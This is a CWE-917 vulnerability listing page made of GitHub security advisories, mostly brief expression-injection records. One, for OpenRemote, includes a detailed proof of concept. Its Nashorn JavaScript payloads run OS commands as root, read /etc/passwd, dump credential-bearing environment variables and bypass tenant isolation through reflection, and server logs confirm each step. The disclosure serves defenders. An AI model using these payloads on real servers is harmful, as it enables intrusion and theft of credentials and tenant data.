Common Weakness Enumeration

CWE-917

Allowed

Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Abstraction: Base · Status: Incomplete

The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.

170 vulnerabilities reference this CWE, most recent first.

GHSA-6W48-2G9J-V9Q5

Vulnerability from github – Published: 2026-03-09 09:30 – Updated: 2026-03-11 00:08
VLAI
Summary
Apache IoTDB has an Improper Input Validation vulnerability
Details

Improper Input Validation vulnerability in Apache IoTDB.

This issue affects Apache IoTDB: from 1.0.0 before 1.3.7, from 2.0.0 before 2.0.7.

Users are recommended to upgrade to version 1.3.7 or 2.0.7, which fixes the issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.iotdb:iotdb-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.iotdb:iotdb-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24713"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-917"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T00:08:54Z",
    "nvd_published_at": "2026-03-09T09:16:02Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Input Validation vulnerability in Apache IoTDB.\n\nThis issue affects Apache IoTDB: from 1.0.0 before 1.3.7, from 2.0.0 before 2.0.7.\n\nUsers are recommended to upgrade to version 1.3.7 or 2.0.7, which fixes the issue.",
  "id": "GHSA-6w48-2g9j-v9q5",
  "modified": "2026-03-11T00:08:54Z",
  "published": "2026-03-09T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24713"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/iotdb/commit/8fbfddc5f83771f1b339c457de597fe877f686d2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/iotdb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/iotdb/compare/v1.3.6...v1.3.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/iotdb/compare/v2.0.6...v2.0.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/iotdb/releases/tag/v1.3.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/iotdb/releases/tag/v2.0.7"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/vopgv6y2ccw403b0zv7rvojjrh7x1j5p"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/03/09/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache IoTDB has an Improper Input Validation vulnerability"
}

GHSA-6WW6-9FP4-PG2F

Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2022-05-24 17:31
VLAI
Details

A wmiconfigcontent expression language injection remote code execution vulnerability was discovered in HPE Intelligent Management Center (iMC) version(s): Prior to iMC PLAT 7.3 (E0705P07).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-7177"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-917"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-19T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A wmiconfigcontent expression language injection remote code execution vulnerability was discovered in HPE Intelligent Management Center (iMC) version(s): Prior to iMC PLAT 7.3 (E0705P07).",
  "id": "GHSA-6ww6-9fp4-pg2f",
  "modified": "2022-05-24T17:31:19Z",
  "published": "2022-05-24T17:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7177"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbnw04036en_us"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7456-35WF-P67W

Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2022-05-24 17:31
VLAI
Details

A soapconfigcontent expression language injection remote code execution vulnerability was discovered in HPE Intelligent Management Center (iMC) version(s): Prior to iMC PLAT 7.3 (E0705P07).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-7174"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-917"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-19T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A soapconfigcontent expression language injection remote code execution vulnerability was discovered in HPE Intelligent Management Center (iMC) version(s): Prior to iMC PLAT 7.3 (E0705P07).",
  "id": "GHSA-7456-35wf-p67w",
  "modified": "2022-05-24T17:31:18Z",
  "published": "2022-05-24T17:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7174"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbnw04036en_us"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-79PH-F2XP-QCFR

Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2022-05-13 01:08
VLAI
Details

An issue was discovered in ZZZCMS zzzphp V1.6.1. In the inc/zzz_template.php file, the parserIfLabel() function's filtering is not strict, resulting in PHP code execution, as demonstrated by the if:assert substring.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-9041"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-917"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-02-23T18:29:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in ZZZCMS zzzphp V1.6.1. In the inc/zzz_template.php file, the parserIfLabel() function\u0027s filtering is not strict, resulting in PHP code execution, as demonstrated by the if:assert substring.",
  "id": "GHSA-79ph-f2xp-qcfr",
  "modified": "2022-05-13T01:08:18Z",
  "published": "2022-05-13T01:08:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9041"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/46454"
    },
    {
      "type": "WEB",
      "url": "http://www.iwantacve.cn/index.php/archives/118"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7M88-MWXH-CM6J

Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2022-05-24 17:31
VLAI
Details

A customtemplateselect expression language injection remote code execution vulnerability was discovered in HPE Intelligent Management Center (iMC) version(s): Prior to iMC PLAT 7.3 (E0705P07).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-7159"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-917"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-19T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A customtemplateselect expression language injection remote code execution vulnerability was discovered in HPE Intelligent Management Center (iMC) version(s): Prior to iMC PLAT 7.3 (E0705P07).",
  "id": "GHSA-7m88-mwxh-cm6j",
  "modified": "2022-05-24T17:31:17Z",
  "published": "2022-05-24T17:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7159"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbnw04036en_us"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7MQR-33RV-P3MP

Vulnerability from github – Published: 2026-04-14 22:31 – Updated: 2026-04-24 20:43
VLAI
Summary
Expression Injection in OpenRemote
Details

Summary

The OpenRemote IoT platform's rules engine contains two interrelated critical expression injection vulnerabilities that allow an attacker to execute arbitrary code on the server, ultimately achieving full server compromise.

  • Unsandboxed Nashorn JavaScript Engine: JavaScript rules are executed via Nashorn's ScriptEngine.eval() with user-supplied script content and no sandboxing, class filtering, or access restrictions. Critically, any non-superuser with the write:rules role can create JavaScript rulesets.
  • Inactive Groovy Sandbox: The Groovy rules engine has a GroovyDenyAllFilter security filter that is defined but never registered (the registration code is commented out), rendering the SandboxTransformer ineffective. While Groovy rules are restricted to superusers, the absence of sandboxing violates the principle of defense in depth.

Details

Attacker-Controllable Source-to-Sink Paths

There are two non-superuser and two superuser exploitable attack paths from the REST API entry point to final code execution. (JavaScript × Realm/Asset + Groovy × Realm/Asset) The most critical path is detailed below.

Path 1: Unsandboxed JavaScript Expression Injection via Realm Ruleset (Non-Superuser Exploitable)

RulesetDeployment.java L368:

Object result = scriptEngine.eval(script, engineScope);

The Nashorn JavaScript engine is initialized without a ClassFilter, allowing Java.type() to access any JVM class — including java.lang.Runtime (for RCE), java.io.FileReader (for file read), and java.lang.System (for env theft).

RulesResourceImpl.java L309 (and L331, L359, L412, L437):

// VULNERABLE: only restricts Groovy, JavaScript completely unrestricted
if (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser()) {
    throw new WebApplicationException(Response.Status.FORBIDDEN);
}

Non-superuser attackers with only the write:rules role can submit arbitrary JavaScript rules that execute with full JVM access.

┌─────────────────────────────────────────────────────────────────────────────────────────┐
│                          SOURCE → SINK Complete Data Flow                                │
├─────────────────────────────────────────────────────────────────────────────────────────┤
│                                                                                         │
│  ① HTTP REQUEST (Source / Entry Point)                                                   │
│  POST /api/{realm}/rules/realm                                                          │
│  Content-Type: application/json                                                         │
│  Body: { "type":"realm", "lang":"JAVASCRIPT",                                           │
│          "rules":"<MALICIOUS_SCRIPT>", ... }     ← Attacker-controlled malicious script  │
│                                                                                         │
│                              ↓ JAX-RS Deserialization                                    │
│                                                                                         │
│  ② RulesResource.createRealmRuleset()                                                   │
│     model/.../rules/RulesResource.java:153-158                                          │
│     @POST @Path("realm") @RolesAllowed("write:rules")                                   │
│     Interface: long createRealmRuleset(RequestParams, @Valid RealmRuleset ruleset)       │
│     JSON body → RealmRuleset object (Jackson deserialization)                            │
│     RealmRuleset.rules field ← attacker's malicious script content                      │
│     RealmRuleset.lang  field ← "JAVASCRIPT"                                             │
│                                                                                         │
│                              ↓ Calls implementation                                      │
│                                                                                         │
│  ③ RulesResourceImpl.createRealmRuleset()  ← ⚠️ Authorization flaw here                 │
│     manager/.../rules/RulesResourceImpl.java:250-267                                    │
│     - L255: isRealmActiveAndAccessible(realm) — checks realm accessible ✓                │
│     - L255: isRestrictedUser() — restricted users blocked ✓                              │
│     - L262: if (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser())              │
│       → Only blocks GROOVY for non-superusers ✓                                          │
│     - ⚠️ NO check for Lang.JAVASCRIPT! JavaScript rules pass through unrestricted ⚠️    │
│     - L265: ruleset = rulesetStorageService.merge(ruleset)                              │
│       → Passes the RealmRuleset (with malicious script) to persistence layer            │
│                                                                                         │
│                              ↓ JPA Persistence                                           │
│                                                                                         │
│  ④ RulesetStorageService.merge()                                                        │
│     manager/.../rules/RulesetStorageService.java:155-159                                │
│     - L157: entityManager.merge(ruleset)                                                │
│       → Persists RealmRuleset entity (with rules and lang fields) to REALM_RULESET table│
│     - After JPA transaction commit, Hibernate event listener is triggered               │
│                                                                                         │
│                              ↓ Hibernate Event → Camel Message                           │
│                                                                                         │
│  ⑤ Hibernate Interceptor → PersistenceService Event Publishing                          │
│     container/.../persistence/PersistenceEventInterceptor.java:51-62, 102-119           │
│     - L55-56: new PersistenceEvent<>(CREATE, entity, propertyNames, state)              │
│       → Hibernate Interceptor captures the JPA entity persist event                     │
│     - L102-119: afterTransactionBegin() registers Synchronization callback;             │
│       afterCompletion() calls eventConsumer.accept(persistenceEvent) (L114)             │
│     container/.../persistence/PersistenceService.java:596-607                           │
│     - PersistenceService implements Consumer<PersistenceEvent<?>> (L84)                 │
│     - L596-606: accept() publishes event to Camel SEDA topic:                           │
│       producerTemplate.withBody(persistenceEvent)                                       │
│       .withHeader(HEADER_ENTITY_TYPE, entity.getClass())                                │
│       .to(PERSISTENCE_TOPIC).asyncSend()                                                │
│     - PERSISTENCE_TOPIC = "seda://PersistenceTopic?multipleConsumers=true&..."           │
│       (PersistenceService.java:209-210)                                                 │
│                                                                                         │
│                              ↓ Camel Route Consumption                                   │
│                                                                                         │
│  ⑥ RulesService.configure() — Camel Route Processor                                     │
│     manager/.../rules/RulesService.java:228-235                                         │
│     - L228: from(PERSISTENCE_TOPIC)                                                     │
│     - L230: .filter(isPersistenceEventForEntityType(Ruleset.class))                     │
│       → Filters for Ruleset-type events only                                             │
│     - L232-234: .process(exchange -> {                                                  │
│         PersistenceEvent<?> pe = exchange.getIn().getBody(PersistenceEvent.class);       │
│         processRulesetChange((Ruleset) pe.getEntity(), pe.getCause());                  │
│       })                                                                                │
│       → Extracts RealmRuleset entity from event and dispatches to change handler        │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑦ RulesService.processRulesetChange()                                                  │
│     manager/.../rules/RulesService.java:503-531                                         │
│     - L504: cause == CREATE (not DELETE), ruleset.isEnabled() == true                   │
│       → Enters the deployment branch (else block)                                       │
│     - L518: ruleset instanceof RealmRuleset → takes realm branch                        │
│     - L520: RulesEngine<RealmRuleset> engine =                                          │
│             deployRealmRuleset((RealmRuleset) ruleset)                                   │
│     - L521: engine.start()                                                              │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑧ RulesService.deployRealmRuleset()                                                    │
│     manager/.../rules/RulesService.java:589-625                                         │
│     - L591: Gets existing engine from realmEngines Map or creates new one               │
│     - L594-613: If new engine: new RulesEngine<>(...), stores in realmEngines           │
│     - (via addRuleset): engine.addRuleset(ruleset)                                      │
│       → Passes RealmRuleset to engine for deployment                                    │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑨ RulesEngine.addRuleset()                                                             │
│     manager/.../rules/RulesEngine.java:252-273                                          │
│     - L264: deployment = new RulesetDeployment(ruleset, this, timerService,             │
│             assetStorageService, executorService, scheduledExecutorService,              │
│             assetsFacade, usersFacade, notificationFacade, webhooksFacade,               │
│             alarmsFacade, historicFacade, predictedFacade)                               │
│       → Creates deployment object wrapping the Ruleset (with malicious script)          │
│     - L265: deployment.init()                                                           │
│       → Triggers compilation and initialization                                         │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑩ RulesetDeployment.init()                                                             │
│     manager/.../rules/RulesetDeployment.java:132-158                                    │
│     - L143: TextUtil.isNullOrEmpty(ruleset.getRules()) → false, script is non-empty     │
│     - L149: ruleset.isEnabled() → true                                                  │
│     - L154: if (!compile()) → calls compile()                                           │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑪ RulesetDeployment.compile()                                                          │
│     manager/.../rules/RulesetDeployment.java:211-228                                    │
│     - L217: switch (ruleset.getLang()) {                                                │
│     - L218:   case JAVASCRIPT:  ← lang field is JAVASCRIPT                              │
│     - L219:     return compileRulesJavascript(ruleset, assetsFacade,                    │
│                   usersFacade, notificationsFacade, historicDatapointsFacade,            │
│                   predictedDatapointsFacade);                                           │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑫ RulesetDeployment.compileRulesJavascript()  ← SINK (Code Execution Point)        │
│     manager/.../rules/RulesetDeployment.java:306-378                                    │
│                                                                                         │
│     - L307: // TODO https://github.com/pfisterer/scripting-sandbox/...                  │
│       ↑ Sandbox was NEVER implemented (only a TODO comment)                             │
│                                                                                         │
│     - L308: ScriptEngine scriptEngine =                                                 │
│             scriptEngineManager.getEngineByName("nashorn");                              │
│       ↑ Uses Nashorn 15.7 (gradle.properties:59)                                        │
│       ↑ Obtained via ScriptEngineManager — NO ClassFilter applied                       │
│       ↑ Attacker can access ANY Java class via Java.type()                              │
│                                                                                         │
│     - L309-311: Creates ScriptContext and Bindings                                      │
│     - L312-317: Binds internal service objects to engineScope:                          │
│         "LOG" → Logger, "assets" → Assets facade,                                       │
│         "users" → Users facade, "notifications" → Notifications facade                  │
│                                                                                         │
│     - L319: String script = ruleset.getRules();                                         │
│       ↑↑↑ DIRECTLY reads the attacker's malicious script content ↑↑↑                    │
│       ↑↑↑ This is the exact same value from the HTTP Body "rules" field ↑↑↑             │
│       ↑↑↑ passed through step ① with NO sanitization whatsoever ↑↑↑                     │
│                                                                                         │
│     - L322-365: Auto-prepends Java interop prefix:                                      │
│         load("nashorn:mozilla_compat.js")  → provides importPackage()                   │
│         importPackage("java.util.stream", ...)  → auto-imports Java packages            │
│         var Match = Java.type("...AssetQuery$Match")  → pre-registers Java.type()       │
│         ... (12 active Java.type references; 1 commented out)                           │
│       ↑ These prefixes further lower the attack barrier                                 │
│                                                                                         │
│     - L365: + script;                                                                   │
│       ↑ Attacker script appended directly (string concatenation, no checks)             │
│                                                                                         │
│     - L368: scriptEngine.eval(script, engineScope);                                     │
│       ↑↑↑ !!! FINAL SINK — The script string containing attacker's                  │
│       ↑↑↑ malicious code is DIRECTLY EXECUTED by Nashorn ScriptEngine                   │
│       ↑↑↑ Attacker uses Java.type('java.lang.Runtime') etc. to invoke                  │
│       ↑↑↑ arbitrary Java class methods, achieving Remote Code Execution (RCE)           │
│                                                                                         │
└─────────────────────────────────────────────────────────────────────────────────────────┘

Path 2: JavaScript Expression Injection via Asset Ruleset (Non-Superuser Exploitable)

Same data flow as Path 1. Differences only in the first three steps:

Step Difference
① Source POST /api/{realm}/rules/asset, body includes "assetId":"xxx"
② Entry RulesResource.createAssetRuleset()RulesResource.java:200-206
③ Auth Flaw RulesResourceImpl.createAssetRuleset()RulesResourceImpl.java:341-365: L350 checks realm accessible, L353 checks restricted user's asset link, L359 only blocks GROOVY, JAVASCRIPT unrestricted. L363 rulesetStorageService.merge(ruleset)

Sink Code Analysis

Sink 1: compileRulesJavascript() — Lines 306-378

// RulesetDeployment.java L306-378
protected boolean compileRulesJavascript(Ruleset ruleset, ...) {
    // L307: TODO indicates sandbox was NEVER implemented
    // L308: Gets Nashorn engine via ScriptEngineManager — NO ClassFilter
    ScriptEngine scriptEngine = scriptEngineManager.getEngineByName("nashorn");

    // L312-317: Binds internal service objects
    engineScope.put("LOG", LOG);
    engineScope.put("assets", assetsFacade);

    // L319: DIRECTLY reads attacker's script content
    String script = ruleset.getRules();

    // L322-365: Prepends Java interop imports (lowers attack barrier)
    script = "load(\"nashorn:mozilla_compat.js\");\n" + ... + script;

    // L368: SINK — Executes the malicious script!
    scriptEngine.eval(script, engineScope);
}

Why missing ClassFilter is fatal: The Nashorn engine provides a ClassFilter interface to restrict which Java classes scripts can access. The current code uses scriptEngineManager.getEngineByName("nashorn") (L308) which applies no ClassFilter, so the attacker can access any Java class via Java.type().

Sink 2: compileRulesGroovy() — Lines 449-485

// RulesetDeployment.java L449-485
protected boolean compileRulesGroovy(Ruleset ruleset, ...) {
    // L451-452: Sandbox code COMMENTED OUT
    // TODO Implement sandbox
    // new DenyAll().register();   ← COMMENTED OUT!

    // L453: Parses attacker's Groovy script
    Script script = groovyShell.parse(ruleset.getRules());

    // L473: SINK — Directly executes Groovy script
    script.run();
}

Why SandboxTransformer is ineffective: The GroovyShell uses SandboxTransformer (L79-81) for AST transformation, but this transformer relies on registered GroovyInterceptor instances at runtime. Since new DenyAll().register() is commented out (L452), no interceptor is registered, making SandboxTransformer a no-op.

Path 3: Groovy Expression Injection via Realm Ruleset (Superuser Only)

┌─────────────────────────────────────────────────────────────────────────────────────────┐
│                          SOURCE → SINK Complete Data Flow (Groovy)                       │
├─────────────────────────────────────────────────────────────────────────────────────────┤
│                                                                                         │
│  ① HTTP POST /api/{realm}/rules/realm                                                   │
│     Body: { "type":"realm", "lang":"GROOVY",                                            │
│             "rules":"<MALICIOUS_GROOVY>", ... }                                         │
│     Requires superuser privileges                                                       │
│                                                                                         │
│  ② RulesResource.createRealmRuleset()  — RulesResource.java:153-158                    │
│                                                                                         │
│  ③ RulesResourceImpl.createRealmRuleset() — RulesResourceImpl.java:250-267             │
│     - L262: if (lang == GROOVY && !isSuperUser()) → superuser passes ✓                  │
│     - L265: rulesetStorageService.merge(ruleset)                                        │
│                                                                                         │
│  ④-⑩ Same as Path 1 steps ④-⑩                                                          │
│                                                                                         │
│  ⑪ RulesetDeployment.compile()  — RulesetDeployment.java:211-228                       │
│     - L220: case GROOVY → compileRulesGroovy(ruleset, ...)                              │
│                                                                                         │
│  ⑫ RulesetDeployment.compileRulesGroovy()  ← SINK                                   │
│     manager/.../rules/RulesetDeployment.java:449-485                                    │
│     - L451: // TODO Implement sandbox  ← Sandbox NEVER implemented                      │
│     - L452: // new DenyAll().register()  ← Security filter COMMENTED OUT!            │
│     - L453: Script script = groovyShell.parse(ruleset.getRules())                       │
│       ↑ groovyShell uses SandboxTransformer (L79-81)                                    │
│       ↑ But no GroovyInterceptor registered → SandboxTransformer is ineffective         │
│       ↑ ruleset.getRules() directly reads attacker's malicious Groovy script            │
│     - L454-462: Creates Binding, binds internal service objects                         │
│     - L472: script.setBinding(binding)                                                  │
│     - L473: script.run()                                                                │
│       ↑↑↑ FINAL SINK — Groovy script executed directly, no sandbox ↑↑↑              │
│                                                                                         │
└─────────────────────────────────────────────────────────────────────────────────────────┘

Path 4: Groovy Expression Injection via Asset Ruleset (Superuser Only)

Same as Path 3; first three steps differ as in Path 2.

PoC

Test Environment

Component Details
Host OS macOS Darwin 25.1.0
Docker Docker Compose with official OpenRemote images
OpenRemote openremote/manager:latest (v1.20.2)
Keycloak openremote/keycloak:latest
PostgreSQL openremote/postgresql:latest-slim
Target URL https://localhost

Multi-Tenant Test Topology

┌─────────────────────────────────────────────────────────┐
│                  OpenRemote Platform                    │
│                                                         │
│  ┌─────────────────┐       ┌─────────────────┐         │
│  │   Realm A        │       │   Realm B        │         │
│  │   (Attacker)     │       │   (Victim)       │         │
│  │                  │       │                  │         │
│  │  User: attacker  │  ──X──│  SecretSensorB   │         │
│  │  Roles:          │ API   │    secretData    │         │
│  │   write:rules    │blocked│    apiKey        │         │
│  │   read:assets    │       │    password      │         │
│  │  NOT superuser   │       │                  │         │
│  └─────────────────┘       └─────────────────┘         │
│                                                         │
│  API isolation: Realm A user CANNOT access Realm B      │
│  via normal REST API (HTTP 401)                         │
│                                                         │
│  Exploit: Realm A user creates JavaScript rule that     │
│  executes arbitrary code on the SERVER, bypassing all   │
│  tenant isolation                                       │
└─────────────────────────────────────────────────────────┘

Deployment

OpenRemote was started using the project's official docker-compose.yml:

cd /path/to/openremote-openremote
docker compose up -d

Containers running:

截屏2026-03-27 14 50 10

Reproduction Steps & Evidence

Step 0: Obtain Admin Tokens
KC admin-cli token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...
[OK] Direct access grants for 'master': HTTP 204
OR admin token:     eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...
API health check: HTTP 200, version=1.20.2
Step 1: Setup Multi-Tenant Environment

Created Realm B (victim) with sensitive assets, and Realm A (attacker) with a non-superuser.

Create realm 'realmb': HTTP 409     (already exists from prior run — OK)
[OK] Direct access grants for 'realmb': HTTP 204
Create victim asset in realmb: HTTP 200, ID=4cddi4ncR9w7RHRbVzVZfq
Planted sensitive data in Realm B:
  secretData       = 'REALM_B_CONFIDENTIAL_DATA_67890'
  apiKey           = 'sk-realmB-api-key-very-secret'
  internalPassword = 'P@ssw0rd_Internal_2024'

Create realm 'realma': HTTP 409
[OK] Direct access grants for 'realma': HTTP 204
[OK] User 'attacker' in 'realma', ID: 0d137364-b538-45d2-b3b3-33f57d97b9f5
[OK] Roles assigned: ['read:rules', 'write:assets', 'read:assets', 'write:rules']

Key point: The attacker user has write:rules role but is NOT a superuser.

Step 2: Verify Tenant Isolation Works via Normal API
Attacker token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...

[TEST] Normal API: GET /api/realmb/asset (attacker token)
Result: HTTP 401
>> Cross-realm API access BLOCKED (expected) — tenant isolation works via API

Conclusion: The REST API correctly blocks Realm A users from accessing Realm B assets. The vulnerability is NOT in the API layer but in the rules engine execution.

Step 3: Launch the attack.
  • ATTACK 1 — Remote Code Execution (RCE)

Payload sent (via POST /api/realma/rules/realm with attacker token):

var Runtime = Java.type("java.lang.Runtime");
var Scanner = Java.type("java.util.Scanner");
var cmd = Java.to(["sh", "-c", "id && hostname && uname -a"], "java.lang.String[]");
var proc = Runtime.getRuntime().exec(cmd);
proc.waitFor();
var s = new Scanner(proc.getInputStream()).useDelimiter("\\A");
var output = s.hasNext() ? s.next() : "(empty)";
LOG.info("[EXPLOIT-RCE] Command output: " + output);
var rules = [];

API response: HTTP 200 (rule accepted and deployed)

Server log evidence (captured from docker compose logs manager):

2026-03-27T07:17:24.833Z [EXPLOIT-RCE] === REMOTE CODE EXECUTION ===
2026-03-27T07:17:24.838Z [EXPLOIT-RCE] --- RCE OUTPUT ---
2026-03-27T07:17:24.838Z [EXPLOIT-RCE] uid=0(root) gid=0(root) groups=0(root)

Impact: The attacker's JavaScript rule executed id on the server and confirmed the process runs as root (uid=0). The attacker can execute any OS command with root privileges.

  • ATTACK 2 — Arbitrary File Read (/etc/passwd) Payload:
var Files = Java.type("java.nio.file.Files");
var Paths = Java.type("java.nio.file.Paths");
var lines = Files.readAllLines(Paths.get("/etc/passwd"));
LOG.info("[EXPLOIT-FILE] /etc/passwd has " + lines.size() + " lines:");
for (var i = 0; i < lines.size(); i++) {
  LOG.info("[EXPLOIT-FILE]   " + lines.get(i));
}
var rules = [];

API response: HTTP 200 Server log evidence:

  • ATTACK 3 — Environment Variable Theft (Database Credentials)

Payload:

var System = Java.type("java.lang.System");
var env = System.getenv();
LOG.info("[EXPLOIT-ENV] === ENVIRONMENT VARIABLE THEFT ===");
var keys = ["OR_DB_HOST","OR_DB_PORT","OR_DB_NAME","OR_DB_USER","OR_DB_PASSWORD",
            "KEYCLOAK_ADMIN_PASSWORD","OR_ADMIN_PASSWORD","OR_HOSTNAME","JAVA_HOME"];
for (var i = 0; i < keys.length; i++) {
  var v = env.get(keys[i]);
  if (v != null) LOG.info("[EXPLOIT-ENV] " + keys[i] + " = " + v);
}
var rules = [];

API response: HTTP 200

Server log evidence (key variables extracted):

2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_HOST = postgresql
2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_PORT = 5432
2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_NAME = openremote
2026-03-27T07:17:45.070Z [EXPLOIT-ENV] OR_DB_USER = postgres
2026-03-27T07:17:45.070Z [EXPLOIT-ENV] OR_HOSTNAME = localhost
2026-03-27T07:17:45.070Z [EXPLOIT-ENV] JAVA_HOME = /usr/lib/jvm/jre
2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_KEYCLOAK_HOST = keycloak
2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_KEYCLOAK_PORT = 8080
2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_STORAGE_DIR = /storage
2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_WEBSERVER_LISTEN_HOST = 0.0.0.0
2026-03-27T07:17:45.088Z [EXPLOIT-ENV] OR_DB_POOL_MAX_SIZE = 20
2026-03-27T07:17:45.088Z [EXPLOIT-ENV] OR_DEV_MODE = false
2026-03-27T07:17:45.086Z [EXPLOIT-ENV] OR_FIREBASE_CONFIG_FILE = /deployment/manager/fcm.json
2026-03-27T07:17:45.086Z [EXPLOIT-ENV] OR_EMAIL_PORT = 587

Impact: Database connection details, internal hostnames, Keycloak configuration, and more are fully exposed. An attacker could use these to directly connect to the PostgreSQL database or attack other internal services.


  • ATTACK 4 — Cross-Realm Data Theft (Bypass Multi-Tenant Isolation)

This is the most critical attack: a user in Realm A steals all data from Realm B by bypassing the AssetsFacade realm enforcement via Java reflection.

Attack mechanism: 1. The assets object bound into JavaScript is an AssetsFacade instance 2. AssetsFacade.getResults() enforces realm isolation by overwriting assetQuery.realm 3. The attacker uses Java reflection to extract the internal assetStorageService field 4. Calls assetStorageService.findAll() directly, bypassing realm restriction AND excludeAttributes()

Payload:

// Extract internal AssetStorageService via reflection
var facadeObj = assets;
var clazz = facadeObj.getClass();
var storageField = clazz.getDeclaredField("assetStorageService");
storageField.setAccessible(true);
var storageService = storageField.get(facadeObj);

// Query Realm B directly — bypassing facade realm enforcement
var AssetQuery = Java.type("org.openremote.model.query.AssetQuery");
var RealmPredicate = Java.type("org.openremote.model.query.filter.RealmPredicate");
var q = new AssetQuery();
q.realm = new RealmPredicate("realmb");
var stolenAssets = storageService.findAll(q);
// Iterate and dump all attribute values...
var rules = [];

API response: HTTP 200

Server log evidence — Stolen data from Realm B:

2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] === CROSS-REALM DATA THEFT ===
2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] Attacker realm: realma
2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] Target realm:   realmb
